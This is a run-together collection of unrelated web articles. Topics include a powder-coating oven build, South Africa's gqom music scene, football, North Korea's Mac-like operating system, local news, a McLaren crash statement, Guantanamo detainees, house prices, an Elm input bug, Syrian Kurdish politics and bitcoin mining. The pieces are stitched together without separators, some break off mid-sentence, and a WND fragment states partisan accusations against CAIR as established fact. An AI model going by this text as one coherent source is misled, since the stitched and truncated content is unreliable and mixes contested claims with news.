including gloves, safety goggles, dust mask, long-sleeve shirt, pants, and close-toed shoes. It is very itchy stuff and even if you are wearing all of that, you will undoubtedly still be itchy afterwards.As you can see in the above pictures, the cutouts for the recessed heating elements are not insulated. These will be the hottest parts of the oven, so of course, they will need to be insulated. This is where the oven expands outwards. With the use of individual insulation panels on the outside of the oven, everything is able to be recessed, yet still insulated. The areas of the oven that will need these insulated panels are the 4 heating elements, the duct-work on the back on the oven, and the entire topside of the oven. All the insulated panels were framed using steel studs and rivets. However, before these are installed, you will need to install the heating elements and skin the outside of the oven with sheet metal.This oven uses four 2000-watt heating elements for a total of 8000 Watts. There are a variety of oven heating elements available. Standard oven heating elements can range anywhere from 2000 watts to 3600 watts.To determine what wattage you need for your specific powder coating oven size, a general rule is that you should have 100 to 150 watts worth of heating element for every cubic foot of interior oven space. 150 watts per cubic foot is ideal. The interior space of this oven is ~75 cubic feet so with 8000 total watts, that works out to about 106.5 watts per cubic feet. If you live in a colder climate, you should aim for 150 watts per cubic feet.You can also use BTU calculator for a ballpark estimate but it can be a little off. To use the calculator, you enter in the interior dimensions of your oven in inches, the average ambient temperature in your area, your desired temperature inF, and your predicted total heating element wattage. It will then tell you how long it will take for the oven to reach the desired temp based on your criteria. Just keep in mind that 100-150 watts per cubic feet is ideal.Below, you can see the four heating elements installed in the oven.The rest of this oven build is located here:. If you have any questions or comments, please leave them in the comments section below.There’s a paradox at the heart of how we consume and perceive music in the internet era.
We can instantly stream or download almost anything. It’s so much easier to tap into any era, artist or genre. Everyone’s become an expert, and the lines between musical styles are smudged. At the same time, the appetite for the new has accelerated. Fans are constantly on the lookout for the hottest micro-scene or undiscovered genre. Local patches of creativity are thriving in spite of our hyper-connected times.
In Africa, electronic music is bubbling. Across the vast continent, fresh machine-generated sounds are popping off, sometimes drawing on outside influences, sometimes made within their own creative bubble. In Egypt, electro chaabi, the computerized update of urban folk music, recently caught the ear of Kode9 and other forward-thinking UK DJs. Afrobeats, with its hip-hop leaning, accessible 4/4 vibe, has travelled beyond its origins in Nigeria and Ghana to grow in the UK and beyond, whilst in South Africa, house and its many regional variants like kwaito have been popular for a long time. Its most visible house artist, Black Coffee, is a superstar at home and popular worldwide.
Of all these exciting, recently unfolding forms, gqom could be the most outlandish. Emerging mostly from the townships of Durban, South Africa’s second most populous city, gqom is a raw dance music blueprint with a polyrhythmic bustle – part broken beat, part chrome-plated synth menace. Skeletal, robotic, unsettling and irresistible, it sounds somewhat influenced by UK sounds like grime and funky, but has nothing to do with them, says gqom producer Citizen Boy, part of the Mafia Boyz collective.
“It is very easy to identify a gqom sound because it is unique.” Emo Kid
“Honestly speaking, most Durban producers don’t know grime. I didn’t know grime until two months ago I think. I was kinda surprised when I first heard grime – I was like, this music is almost the same as gqom, but grime has quality sounds. That’s the thing I like.”
Gqom might be relatively new, but it’s picked up attention fast. Leftfield grime label Goon Club Allstars released an EP by gqom crew Rudeboyz in June last year, which was for many the first taste of the genre. This year, bumper compilation Gqom Oh! The Sound of Durban Vol. 1 is poised to disseminate the sound further and get DJs rubbing their mitts with glee. Put together by Italian DJ, producer and Gqom Oh! label boss Nan Kolè and South African contact Lerato Phiri, it’s a 19-track primer featuring some of the scene’s hottest producers.
Gqom Oh! is the kind of bolt from the blue that doesn’t come along every day. Check Dominowe’s ‘Africa’s Cry’, a stripped cyborg rattle of deep bass kicks, pots-and-pans percussion and a creeping synth, forming menacingly across chemically-altered skies. Or the martial drums and bleeping top-line of the bumping ‘Sgubhu 6 (Gqom Edit)’ by Forgotten Souls. Gqom is DIY, a low-budget street sound at odds with the smooth, clean production of the populist kwaito house. The bass is derived from the subby kick drums and the tracks are sparse, built from few components; there’s little in the way of melody to be found.
“I think the style was invented when some unknown guy from elokishini, the ghetto, got hold of production software and began experimenting and making something he could dance to, and gqom was born,” says (brilliantly named) producer Emo Kid, but some reckon that it mutated from other previously existing styles. Gqom shares some similarities with the local house sound, despite its non-4/4 pattern, and it’s often blended at house parties by DJs playing a mix of gqom, sgubhu and hip-hop.
“I think I heard about gqom music in 2012,” says Citizen Boy, who believes the style comes from “an old genre called Sgxumseni, which means ‘make us jump’.” He adds: “DJ Clock and DJ Gukwa used to produce it, then after a while Naked Boyz arose and they took the spot like it’s the genre gqom. It’s almost the same as gqom, but the difference is that Sgxumseni is a four-step and gqom is a broken beat — it can be a three-step or two-step beat.”
“Gqom music relates a lot to house music but it is also slightly different from house music, it is very tribal and the kick drum has an unfamiliar pattern,” adds Emo Kid. “It is very easy to identify a gqom sound because it is unique.”
Currently, there are plenty of producers making gqom, with acts including Julz Da Deejay, TLC Fam, Cruel Boyz and DJ Mabheko appearing on the compilation, and tons more to be found on the internet. Very much a product of the technological era, the music is shared and played purely via MP3s from websites and Facebook groups, and there’s a dizzying amount of it – so much that it’s hard to navigate to the good stuff, which is where Nan Kolè’s Gqom Oh! imprint comes in.
Kolè discovered gqom after he fell down an internet rabbit hole and instantly connected to the sound. “I have some friends that were already collaborating with South African artists,” he says. “One night around January 2015, I saw that a friend of mine was tagged in a link with the hashtag #Gqom. I clicked it and sat till 5am downloading hundreds of gqom songs. I was immediately addicted to that crazy and unique sound.”
For Kolè, it was the genre’s unique balance of percolating beats and dark synths permeating them; a sense of the uncanny on the dancefloor. “I always feel a weird, powerful ‘high’ energy when I play it. It’s a perfect mixture of deep and dark atmospheres with African rhythms. Gqom is on a boundary between conceptual music and ‘body’ music (not mental music). It’s tribal and urban at the same time. This genre expresses feelings of anger and is connected to the troubled history of South Africa and township life. It’s incredible how much you can dance to it with those feelings and emotions and without a 4/4 kick.”
That juxtaposition of tension and release is certainly ingrained in gqom. But like the best hardcore or house music, a vacillation between darkness and euphoria is the perfect storm for activating a drug rush too. In Durban, the drug of choice is ecstasy, which fuels “bhenga” dancing at local gqom parties and occasional events at larger clubs like the city’s Club 101. It’s clear that Rudeboyz’s breakthrough track ‘Mitsubishi Song’ wasn’t a paean to jeeps.
Citizen Boy is quick to acknowledge the impact that drugs have had in the gqom scene. “There’s this drug called qoh, or ecstasy, it makes them crazy. If there’s a party somewhere there’s always going to be someone who has ecstasy. Drugs play a huge role in the gqom scene, it makes people feel confident and they start to dance to the music — even if they can’t dance, they will dance to it.”
Emo Kid is more reluctant to connect drugs with the scene. “I think gqom music has nothing to do with drugs – gqom is a young music genre and it can also be used good or bad, just like any genre out there.”
“Gqom music is a collection of loud tribal sounds creating a pattern unlike any other.” Emo Kid
It’s notable that many of the artists have chosen a name denoting their youth. Gqom is very much geared towards a new generation favouring internet sharing and noisy, rebellious sounds, and it shares the DIY spirit of punk or dubstep. It isn’t completely clear who christened the genre, but gqom – a Zulu language colloquialism meaning ‘drum’ – translates as something like ‘noise’ or ‘bang’ in current parlance, says Citizen Boy.
“I think gqom means noise, because when I produce, I sit in my room then apply the speakers to the maximum volume so I can be in that state, that producing state, and my mom will usually open the door and shout ‘kukhala ub’gqom gqom nje lah,’ which translates to ‘there’s a lot of knocking here’. So I think people took it from there.”
“Gqom is a big bang which leaves you happy after it hits you,” adds Emo Kid. “Gqom music is a collection of loud tribal sounds creating a pattern unlike any other.”
The help of Lerato Phiri was invaluable when it came to Nan Kolè making connections with gqom artists in order to put the compilation together. Though he hasn’t visited Durban yet — but will do soon thanks to an cultural exchange project — he’s determined that his label can help put the city on the map as a vital music hub.
“I decided to run this label to make Durban’s gqom world-known. My aim is to spread the music of Durban to the world but at the same time keep it local. Durban needs to be known as, for example, Chicago is for juke and house. I want to bring Durban artists to Europe and help them improve in technologies and worldwide connections.”
Though gqom is still a niche concern in Durban in terms of club play, and most of it is played in digital form by DJs at house parties and functions, the perpetual search for something fresh has made it catnip for audiences abroad, especially in the UK where more adventurous DJs are beginning to incorporate it into their bass, house and grime sets.
“Personally I think right now there is a great desire for something new and fresh in European club culture, and the feeling of gqom is extraordinary,” says Kolè. “It’s really new vibrations that come from the opposite side of the world, from young guys that never listened to European electronic music. Gqom is pure in some way and on the cutting-edge of club music. The next step will be to see the dancefloor reaction to a strictly two or three-hour late-night gqom DJ set.”
It seems entirely possible that gqom could achieve crossover status. Though it lacks the accessibility of kwaito or extremity of Shangaan electro, it’s precisely its rawness that sets it apart and will catch ears in the UK and worldwide. “That would definitely be a dream come true for me. The UK is one of the biggest music supporting places in the world,” says Emo Kid. “Being popular in the UK and other places abroad would be amazing. It will mean more shows, meaning more money made. Most definitely it has the potential to cross over. People love something fresh and new, and it also dominates the dancefloor. People dance like crazy when gqom plays. It is very powerful.”
Citizen Boy, meanwhile, feels a sense of vindication that he can finally prove the doubters wrong. “I feel proud. The best thing about this is that I’m contributing towards gqom, and people around me used to tell me, ‘Leave this, it won’t get you anywhere, it won’t go anywhere, it will be stuck in Durban forever’, but I can get to rub it in their faces and say gqom is taking the world right now. It’s getting recognition now after all my hard work. I’m so happy that Durban has its own genre.”
Gqom Oh! The Sound of Durban Vol. 1 will be released on Gqom Oh! on January 29.Get the biggest Aston Villa FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Ashley Westwood is dreaming of an England call-up after listening to his team-mates’ tales from the top.
The Villa ace has been quizzing fellow midfielders Fabian Delph and Tom Cleverley about the Three Lions camp as he tries to force his way in.
Westwood told the Birmingham Mail it’s his mission to break into Roy Hodgson’s senior squad after missing out on representing his country at youth level.
He also feels it won’t be too long before Cleverley finds his way back into the international set-up.
“Fab’s got his England call-up and Clevs is an international who I think will be back in there soon,” said the 24-year-old.
“I’m hoping to be in there soon, too. When I spoke to Fab about England he said he loved it.
“He’s talked about the top players he played with there. I’m made up for him because nobody deserves it more.”
Westwood is a regular for Villa and has improved massively since joining from Crewe in 2012.
In a deep-lying role he has performed well alongside Delph and Cleverley and he insists there is more to come.
“I think I’ve been steady,” he said, reflecting on his early-season form.
“Obviously I’m not that player that is going to score goals. I’m here to start play and break up the play. I think as a three in midfield we have been really good. We’ve really gelled and the defenders have been great.
“The three of us in there have got a real good understanding. We get on well too, which helps.
“Fab has put in a lot of hard work. Obviously he’s been doing his own stuff, which helps.
“He’s frighteningly quick, people don’t realise that, he just glides past you. You don’t expect him to do it.
“This season he’s taking his game to a new level and hopefully he can continue to get even better.”
Westwood was one of Villa’s non-international contingent to be given the weekend off.
Despite enjoying time with his family, he knows that being a part of the England squad in the future is where he wants to be.
Having never represented his country the Villa man is determined to achieve the honour and he knows that regular football for Villa is a must.
In the summer that looked unlikely with Carlos Sanchez arriving.
The Colombian was expected to take Westwood’s place following his £4.7 million move but in fact the reliable performer, who initially cost Villa under £1 million, has stepped up.
When asked if he feared for his place following the signing of the South American, the down-to-earth middle man said:
“It has kept me on my toes.
“Carlos came in on the back of a great World Cup and it was up to me to up my game and show the gaffer I should be playing.
“I’ve just done my best each game and that’s what I will continue to do. If Carlos gets in ahead of me, I will still be rooting for him in the side.
“We’ve got a great set of lads here now and I think there will be exciting times ahead.”What has Apple done for North Korea in recent memory? The iPhone and iPad don’t yet exist within the borders of the isolated country, but while its people might not know it, they owe a lot to Cupertino for another one of its iconic products.
These are pictures of the “Red Star OS” which is featured prominently on computers throughout the country. If is looks a little too familiar for your liking, then I’ll just go ahead and say yes, it is ripped straight from Mac OS X. The expanding dock buttons, the gray border layout, the menu bar scrolled across the top, and even the multicolored close and shrink buttons are all direct copies.
Everything is a blatant carbon copy except for the Apple logo in the top left corner, which has been replaced by a red star. That’s not fooling anybody, North Korea! Well, maybe the 25 million inhabitants within the country, but that’s besides the point!
The photographs come from computer scientist Will Scott after he bought a computer while teaching as a visiting professor at Pyongyang University of Science and Technology. He reports that, to run the OS, all you need is a Pentium III processor capable of running at 800MHz, 256 MB of RAM and 3 GB of hard drive space. We aren’t exactly looking for a machine that can run Crysis 3 here.
The OS even has access to the Internet through a Mozilla-based browser called “Naenara,” or “My Country” in English. I wonder how many people actually use it though living in a country that restricts and monitors the Internet so strictly. I’d be afraid to touch it.
How long do you think before Apple files a patent lawsuit?CHP: Driver distracted by sandwich crashes near Glen Ellen
A pickup driver told officers he was trying to open a wrapped sandwich on Highway 12 near Glen Ellen when he briefly lost control and clipped the side view mirror of an oncoming motorcycle with two riders, CHP officials said.
Two ambulances took the riders — David McLean, 64, and his wife, Nancy, 63, both of Petaluma — to Santa Rosa Memorial Hospital after the collision, CHP Officer Juan Leon said. They had moderate-to-minor injuries.
The collision occurred at about 1:25 p.m. Monday on Highway 12 near Trinity Road.
The driver of the Ford F-150 pickup was Anthony Magga, 33, of Petaluma, he said. Officers determined he was distracted and made an unsafe maneuver that led him to clip the motorcycle’s side view mirror, Leon said.
You can reach Staff Writer Julie Johnson at 521-5220 or julie.johnson@pressdemocrat.com. On Twitter @jjpressdem.Full moon on Christmas Day last dawned in 1977; will happen again in 2034
A rare full moon on Christmas Day, called the “Full Cold Moon” because it occurs at the beginning of winter in the northern hemisphere, will be seen in Cebu.
Rome Aguirre, weather specialist for Philippine Atmospheric Geophysical and Astronomical Services Administration (Pagasa), said the moon is expected to rise at 5:26 p.m. and set at 5:25 a.m. on December 26.
“There is a bigger chance that we can see the full moon anywhere in Cebu because of the weather,” Aguirre said.
The weather bureau said Christmas Day will be partly cloudy to cloudy with isolated rainshowers or thunderstorms in Metro Cebu, with temperature ranging from 24 to 32 degrees Celsius.
The last cold moon was seen in 1977, the National Aeronautics and Space Administration (NASA) said on its website.
It will occur again only in 2034.
“That’s a long time to wait, so make sure to look up to the skies on Christmas Day,” NASA said on its website.
The full moon, which is the 13th this year, occurs when it is on the opposite side of the Earth from the sun. The next full moon is expected on January 24, 2016.
As of yesterday, Aguirre said no major weather disturbance has been detected after tropical depression Onyok.
As of 5 p.m. yesterday, the weather bureau said Visayas and Mindanao will have cloudy skies with isolated rainshowers or thunderstorms. Coastal waters will be moderate to strong.QR codes have yet to conquer the US and Europe but are prevalent in mobile phone-crazy Japan. Denso Wave, a Tokyo-based tech company, invented the nifty little two-dimensional bar codes as early as 1994. And they are everywhere now in Nippon: magazines and newspapers, billboards, clothes, beer cans, maps, business cards, cigarette boxes etc. etc. Scanning the QR code you see above should lead you to www.crunchgear.com, for example.
And the Japanese now even use QR codes on graves, as shown in the video below. It may sound macabre at first but seems to be a way to let people close to the person in question interact with each other without hassles, i.e. in the form of a mini social network that you can access with your mobile phone.Statement from McLaren-Honda
Barcelona, February 23rd
We are pleased to confirm that, having been involved in an on-track incident at the Circuit de Barcelona-Catalunya (Spain) on February 22nd, Fernando Alonso is making a solid recovery in hospital, and is chatting to family, friends and hospital staff.
From the scene of the incident he was driven to the circuit’s medical centre, where he was given first aid and, as per normal procedures, was sedated in preparation for an air-lift to hospital.
In hospital a thorough and complete analysis of his condition was performed, involving CT scans and MRI scans, all of which were completely normal.
In order to provide the privacy and tranquillity required to facilitate a peaceful recuperation, he is being kept in hospital for further observation, and to recover from the effects of the medication that successfully managed his routine sedation yesterday.
We intend to give him every opportunity to make a rapid and complete recovery, and will evaluate in due course whether or not he will participate in the next Barcelona test.
Over the past 24 hours, we have been carrying out a detailed analysis of the damage to Fernando’s car, and its associated telemetry data, in order fully to understand the cause, or causes, of his accident. Even at this early stage, we have been able to reach some firm conclusions.
His car ran wide at the entry to Turn Three – which is a fast uphill right-hander – allowing it to run onto the Astroturf that lines the outside of the track. A consequent loss of traction caused a degree of instability, spitting it back towards the inside of the circuit, where it regained traction and struck the wall side-on.
Our findings indicate that the accident was caused by the unpredictably gusty winds at that part of the circuit at that time, and which had affected other drivers similarly (eg, Carlos Sainz Jnr).
We can categorically state that there is no evidence that indicates that Fernando’s car suffered mechanical failure of any kind. We can also confirm that absolutely no loss of aerodynamic pressure was recorded, which fact indicates that the car did not suffer any aerodynamic loss, despite the fact that it was subjected to a significant level of g-force. Finally, we can also disclose that no electrical discharge or irregularity of any kind occurred in the car’s ERS system, either before, during or after the incident.
That last point refutes the erroneous rumours that have spread recently to the effect that Fernando was rendered unconscious by an electrical fault. That is simply not true. Our data clearly shows that he was downshifting while applying full brake pressure right up to the moment of the first impact – something that clearly would not have been possible had he been unconscious at the time.
Our data also confirms that Fernando’s car struck the inside concrete wall, first with its front-right wheel and then with its rear-right. It was a significant lateral impact, resulting in damage to the front upright and axle.
After the initial impact, the car slid down the wall for about 15 seconds before coming to a halt. All four wheels remained attached to the car, but no damage was sustained by the bodywork or crash structure between the front and rear wheels.
We wish Fernando a very speedy recovery. As and when we have further updates to share, we will of course do so.More than half of China’s citizens expect their country to be at war with Japan in as little as six years, according to a new public opinion poll that finds a widening sense of mistrust and hostility between the two countries.
About 53% of Chinese respondents and 29% of Japanese respondents expected a war to break out by the year 2020, according to a joint survey conducted by newspaper China Daily and Genron, a Japanese NGO.
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Each country’s favorability rating of the other remained at historic lows: 93% of Japanese respondents reported having a negative impression of China, the worst rating in the survey’s decadelong history, while 87% of Chinese responded negatively to Japan, a slight decrease from last year’s record high.
Tensions between Japan and China flared in 2013 over disputed islands in the East China Sea, and diplomats from both countries accused one another of behaving like “Voldemort,” the evil wizard from the Harry Potter fame. The rhetoric has cooled slightly since then, but public resentment evidently is still running deep.
Contact us at editors@time.com.At 60East, we strive to make AMPS the most powerful, high-performance, real-time messaging database ever. This philosophy extends to every aspect of AMPS, including installation and packaging. We want you to get up and running as fast as possible, with a zero-friction install process.
Since our customers run AMPS on a wide variety of operating system versions, from quite old to very new, we strive to make a single install image that works everywhere. This means we ship a single set of binaries that run on a range of Linux kernels and library versions. And, since AMPS provides extensibility via a C api and shared library modules, it is important that customers are able to use the latest C and C |
been charged and/or convicted of terrorist-related crimes [See WND’s Rogue’s Gallery of terror-tied CAIR officials].
There is abundant evidence proving CAIR has been a front group for Hamas since its inception in 1994.
CAIR Director Nihad Awad publicly expressed his support for Hamas at a symposium at Barry University in Florida on March 22, 1994, where he said: “I am in support of the Hamas movement.” FBI agents uncovered evidence of CAIR’s Hamas connection while investigating a Muslim Brotherhood-controlled Hamas support network in the United States.
In April 2009, the FBI cited the evidence against CAIR in explaining why it had cut off formal communication with the group. The ban on outreach with CAIR would last “until we can resolve whether there continues to be a connection between CAIR or its executives and Hamas,” a senior FBI official explained in 2009. That policy remains in effect.
Support WND’s legal fight to expose the Hamas front in the U.S., the Council on American-Islamic Relations.The Guantanamo parole board has cleared for release an Algerian captive who was for a time considered for prosecution as part of a Pakistan-based bomb-making cell, the Pentagon announced Thursday.
Sufiyan Barhoumi, 43, went before the board on May 26 with a letter of support from a former guard, the second known captive to do such a thing and get approved for release.
The Periodic Review Board said in a short decision that the release of Barhoumi "presents some level of threat in light of his past activities, skills, and associations." But it noted that he had been a well-behaved prisoner, lacked "extremist views" and offered the board a detailed plan for the future -- to run a pizza shop near his mom in Algiers.
Now, 35 of the last 76 detainees are cleared for release to security arrangements that satisfy Secretary of Defense Ash Carter.
He is the 35th prisoner now approved for transfer among the 76 captives currently at the detention center.
The other 41 include 10 charged with war crimes, 17 board-approved "forever prisoners,'' and 14 captives who await hearings or decisions on their dangerousness.
Barhoumi's attorney, Shane Kadidal of the Center for Constitutional Rights, urged the Algerian's speedy repatriation, noting that time was running out on Barack Obama's pledge to close the detention center. "President Obama has just over five months to empty the prison. His legacy depends on swift action."
In 2005, a Pentagon prosecutor charged Barhoumi as a member of the so-called "Faisalabad Three," one of three men captured among a multinational band of suspected al-Qaida loyalists in a Pakistani raid in March 2002. His case collapsed amid questions of whether conspiracy or providing material support were prosecutable as violation of the laws of war.
His military defense attorney, Air Force Maj. Justin Swick, noted Thursday that the U.S. government had 14 years to put him on trial but "could never think of anything to charge.
"It's time for the charade to end. Mr. Barhoumi comes from a normal, middle-class family willing to support him and a safe, stable country willing to accept him," the major said. "There are plenty of detainees in Guantanamo the American people need to worry about. Mr. Barhoumi is not one of them."
Sufiyan Barhoumi went before the parole-style panel with a letter of endorsement from a soldier who guarded him a decade ago.
The key capture of the Faisalabad raid was the alleged arch-terrorist known as Abu Zubaydah, who was spirited off to custody at a secret CIA site where he was systematically waterboarded and otherwise humiliated to break his will -- for example, by confining him to a dog kennel. Abu Zubaydah goes before the parole panel later this month.
Barhoumi got to Guantanamo on June 18, 2002, four years before Abu Zubaydah. About four years later the Algerian appeared at the war court with part of his hand blown off from a training exercise years before his capture. He sued for his freedom in federal court, but lost in 2009 when a U.S. District Court judge found the government presented sufficient information to justify his detention as a prisoner of the war on terror.
His lawyer urged speedy release of the captive -- whose family has bought a pizza shop for him to run in Algiers -- noting that President Obama's 'legacy depends on swift action.'
Kadidal described Barhoumi as "one of the best-liked men -- among both fellow prisoners and guards -- detained at Guantanamo." His presentation to the inter-agency review panel included a letter of support for his release from a former guard who, Kadidal told the board, "still remembers Barhoumi fondly more than 10 years later."
Kadidal noted that, while Barhoumi's father died while the Algerian was at Guantanamo, the Algerian's mother is still in his native Algiers. "His overriding concern has been to see his mother again and make up to her for their lost years together," Kadidal said by email.
Swick said that Barhoumi's family already purchased space to open a pizza parlor in Algiers to give the former prisoner "a place to work when he goes home. The family sent us pictures. Barhoumi is beside himself excited. After 14 years in Guantanamo, working in a pizza shop sounds like heaven."
Earlier in the week, the board upheld the indefnite detention of Pakistani-born Saudi Abdul Rahim Gulam Rabbani, saying the captive "worked directly for al-Qaida external operations chief Khalid Sheik Mohammed," the man accused of orchestrating the Sept. 11, 2001 terror attacks.
In the case of the Rabbani, who has never been charged with a crime, the board said he had "a prominent role moving and housing al-Qaida fighters and key figures" and invited input from the government of Saudi Arabia for future reviews.How Much House You Can Buy, In 385 U.S. Cities
Are home prices cheap in your city right now?
It's common to answer this question by talking about how prices today compare with prices last year, or to look at how prices in your city compare with prices in other cities.
But there's another way to frame the question: Compare home prices with income. You would expect that the ratio would be similar in different places. In cities where incomes are higher, home prices should also be higher. In cities where incomes are lower, home prices should also be lower.
This basically holds up. In most parts of America, the typical home costs between one and two times as much as the typical family earns in a year. (You would also expect that during a bubble, home prices would rise much faster than wages. This also holds up.)
There are, however some outliers. A bunch of California cities have home-price-to-income ratios that are far, far above the national norm. Geography and zoning play a big role here.
"Coastal California starts out with relatively little flat land," says Jed Kolko, chief economist at Trulia. "If you draw a circle around San Francisco, most of that circle will be water or mountain."
He says that when you add zoning rules and the review process into the mix, you have a situation where housing stock is way more constrained than it is in many other cities in the country.
So, even in nonboom times, the home-price-to-income ratio is high in San Francisco. And with the current tech boom, it has shot up to levels that are even higher than usual.
Many of the areas where price-to-income ratios are lowest are in Texas, where flat land is abundant, zoning is lax, and the oil boom has driven up wages.
And the city where the homes are really cheap? Not surprisingly, it's Detroit, where the population is shrinking and the city is struggling to get rid of empty houses.Last night I bumped into exceptionally frustrating behavior when testing an Elm program on my Android device. I would be typing into an input, and (upon pressing a-b-c, for instance), it would show:
A
Ab
AbAbc
It would continue multiplying my text (assuming I typed at a certain speed – more on that below).
If you’ve ever seen this multiplying input text error, the mitigation is adding [autocomplete False] to the input attributes.
Here is a minimal recreation of the bug – it is a slight edit on the field example in the docs:
import Html exposing (Html, Attribute, program, text, div, input) import Html.Attributes exposing (..) import Html.Events exposing (onInput) import String import Time exposing ( Time ) main = program { init = (""! []), view = view, update = update, subscriptions = subscriptions } subscriptions model = Time.every Time.millisecond Tick -- UPDATE type Msg = NewContent String | Tick Time update msg oldContent = case msg of Tick time -> oldContent! [] NewContent content -> content! [] -- VIEW view content = div [] [ input [ value content, placeholder "Text to reverse", onInput NewContent, myStyle ] [], div [ myStyle ] [ text (String.reverse content) ] ] myStyle = style [ ("width", "100%"), ("height", "40px"), ("padding", "10px 0"), ("font-size", "2em"), ("text-align", "center") ]
The only changes are:
1. I value-bound the input. This is frequently the behavior I want in my application. I like to clear an input when I submit a form, for instance – hard to do without value-binding.
2. I added an ignored Tick subscription.
This error only occurs when other events interrupt the input of groups of characters using the onscreen keyboard. You’ll notice the grouped letters because they’ll share a black underline in the input, and suggestions will be above the onscreen keyboard.
That’s it. The workaround is to use autocomplete False – this just stops the buffering of multicharacter input. Swipe-typing still works, but doesn’t let you choose among the multiple options.
If anyone has a suggestion for a better way of handling this, leave a comment on /r/Elm.“The Kurds have no friends but the mountains.” This well-worn adage conveys the Kurds’ isolation in the face of centuries of suffering under successive rulers. In Turkey, Iran and Iraq, where the largest concentration of Kurds live, there are plenty of mountains that have provided sanctuary to Kurdish civilians and rebels alike. Not so in Syria, where some 2 million Kurds are largely confined to the arid plains bordering Turkey, putting them at the mercy of their oppressors and the flat terrain.
Yet, in recent times, the Syrian Kurds have seemed invincible. Fighting under the banner of the People’s Protection Units (YPG), they are at the vanguard of the US-led campaign to eradicate the Islamic State (IS) in Syria. Since 2011, when the Syrian conflict erupted, they have gone from being a systematically suppressed minority to a significant player, simultaneously allied with Russia and the United States.
Despite their gains, however, the constantly shifting dynamics of the conflict have left the Syrian Kurds once again feeling vulnerable. In off-the-record conversations with Syrian Kurdish fighters and politicians, a constant theme emerged — whether their newfound partner the United States has an end game for Syria, and if so, where the Kurds fit into it. Barzan Iso, a local analyst with close ties to the Syrian Kurdish administration, summed up growing concerns in a question: “Is the United States’ alliance with the Syrian Kurds part of a broader strategy, or will they dump us and pack up once Daesh [IS] is defeated?”
The question gained urgency on April 20, when Syrian government forces arrested several Kurdish youths in the northeastern border town of Qamishli, where the regime continues to maintain an uneasy presence alongside the Kurds. YPG sources said the youths were detained for avoiding mandatory service in the Syrian army. The ensuing clashes between regime forces and the Asayish (a local Kurdish police force) left dozens dead, but the Kurds prevailed, seizing control of several government positions and dictating the terms of a truce declared April 24.
The regime of Bashar al-Assad remains squarely opposed to Kurdish self-rule. Some speculate that the Qamishli dustup was linked to last month’s declaration of the Federation of Northern Syria, uniting the three Kurdish-majority regions into a single entity. The government and members of the Syrian opposition swiftly denounced the declaration as “illegal.” Washington said it does not recognize the new federal entity either.
Many analysts believe that so long as defeating IS remains the Obama administration’s primary goal, it is unlikely to reverse its policy of avoiding military confrontations with the regime, not even in defense of its Kurdish allies.
“The United States has little interest in engaging the Syrian regime militarily,” said Aaron Stein, a senior resident fellow at the Atlantic Council, in an interview with Al-Monitor. “Such an escalation would run counter to the current strategy, particularly the narrow focus on the Islamic State.”
Daniel Neep, an assistant professor at Georgetown University’s Center for Contemporary Arab Studies, agrees. “If YPG militias were to come under sustained attack from the Assad regime, the US would presumably provide arms and equipment, but chances of air strikes or boots on the ground are effectively zero,” he told Al-Monitor.
US officials, however, have tried to reassure the Kurds that their concerns are unfounded, reminding them that without US military intervention in Kobani, they would not be where they are today. President Barack Obama’s recent authorization for the deployment of 250 additional Special Forces personnel to the 50-member contingent already operating in YPG-controlled areas ought to be proof of the US commitment, officials contend.
In any case, the Syrian regime is unlikely to mount a full-scale attack on the Kurds any time soon. It can ill afford to open a new front against the Kurds while it remains bogged down by rebels elsewhere. The presence of US Special Forces in the Kurdish-controlled areas is another big deterrent.
“The US would not allow its forces to be targeted, so there is obviously a line that the regime cannot cross,” Stein said. Such arguments offer scant comfort to Syria’s Kurds, however.
The United States continues to ignore the Kurds' calls for diplomatic recognition. Unlike Russia, Washington refuses to back the Syrian Kurds’ demands to take part in the Geneva peace talks. Just as critically, Washington refuses to support the YPG’s long-running ambition to punch a corridor through the Manbij pocket, a 60-mile strip of territory IS still holds on the Turkish border.
The corridor would connect Kurdish-controlled areas east of the Euphrates River with the mainly Kurdish Afrin enclave to the river's west. Turkey has threatened to intervene militarily to stop the Syrian Kurds from doing so on the grounds that the YPG is no different from the Kurdistan Workers Party (PKK).
The PKK is on the State Department’s list of terrorist organizations, but the YPG is not. Washington seized on this loophole to deepen its partnership with the Syrian Kurds. That distinction has been wearing thin since last August, however, when a two-year cease-fire between the Turkish army and the PKK collapsed, together with peace talks between the Ankara government and PKK leader Abdullah Ocalan. The conflict has since been escalating, with hundreds of casualties on both sides. In February, the Kurdistan Freedom Falcons, a PKK-linked group, mounted two successive suicide bomb attacks, leaving scores of Turkish security personnel and civilians dead.
“Unless Turkey’s Kurdish problem is resolved, and without a distinct Syrian Kurdish leadership apart from the PKK, Syrian Kurdish autonomy will continue to be constrained,” predicted Denise Natali, a senior research fellow at the Institute for National Strategic Studies in comments to Al-Monitor. The YPG’s cozy ties with Russia haven’t helped either, Natali added.
In an effort to show support for Turkey in the face of PKK attacks, the United States has resumed support for Turkish-backed rebels in recent weeks, sending a clear signal to the YPG that it is no longer the only game in town. Despite sustained coalition aerial support, however, the Turkish-backed groups have failed to make a dent. IS wrested back much of the territory the rebels had captured in an offensive in early April. Not only that, the extremist group has stepped up cross-border attacks against Turkey, shelling Kilis, killing 18 civilians so far.
It is little wonder then that Washington, with the help of the YPG-led Syrian Democratic Forces (SDF), is pressing ahead with plans to capture the city of Manbij, thought to be the operational nerve center of IS.
The SDF was established last year in part to address Turkish fears of Kurdish hegemony along its borders. Although the YPG remains the dominant force, the SDF includes Arabs, Christians and Yazidis. The number of Arabs within the SDF is growing, which makes strategic sense, because only Arabs can hold Arab-majority population centers like Manbij and — more critically — Raqqa, the “capital” of IS’ self-declared caliphate. There is some speculation that newly arrived US Green Berets will train the SDF to become the “moderate rebel” force that Washington long dreamed of establishing in Syria but has failed to achieve.
Where does all this leave the YPG, which says it will take part in the battle to retake Raqqa only if the United States helps it link up the areas under its control? Much hinges on whether Turkey and the YPG’s PKK mentors find a way to settle their differences. The rhetoric emanating from both sides suggests neither is so inclined.South America is probably one of the regions with the most favorable conditions for the development of the bitcoin economy in general. Bitcoin mining is one of the aspects of the bitcoin economy that could find some of the most attractive incentives in the area. Nevertheless, many governments in the region have displayed varying levels of hostility towards bitcoin and its users. This makes it even dangerous for bitcoin enthusiasts to carry out their economic activity in some of the countries where, paradoxically, doing so can be so profitable. So, how is it that an activity like bitcoin mining is flourishing in various countries in the area in any case? We caught up with an anonymous bitcoin miner that comes from one of the countries in which the community has been under pressure from the authorities, to learn more about the opportunities and dangers that they face in some of these places in South America.
Bitcoin Mining in South America: The Basics
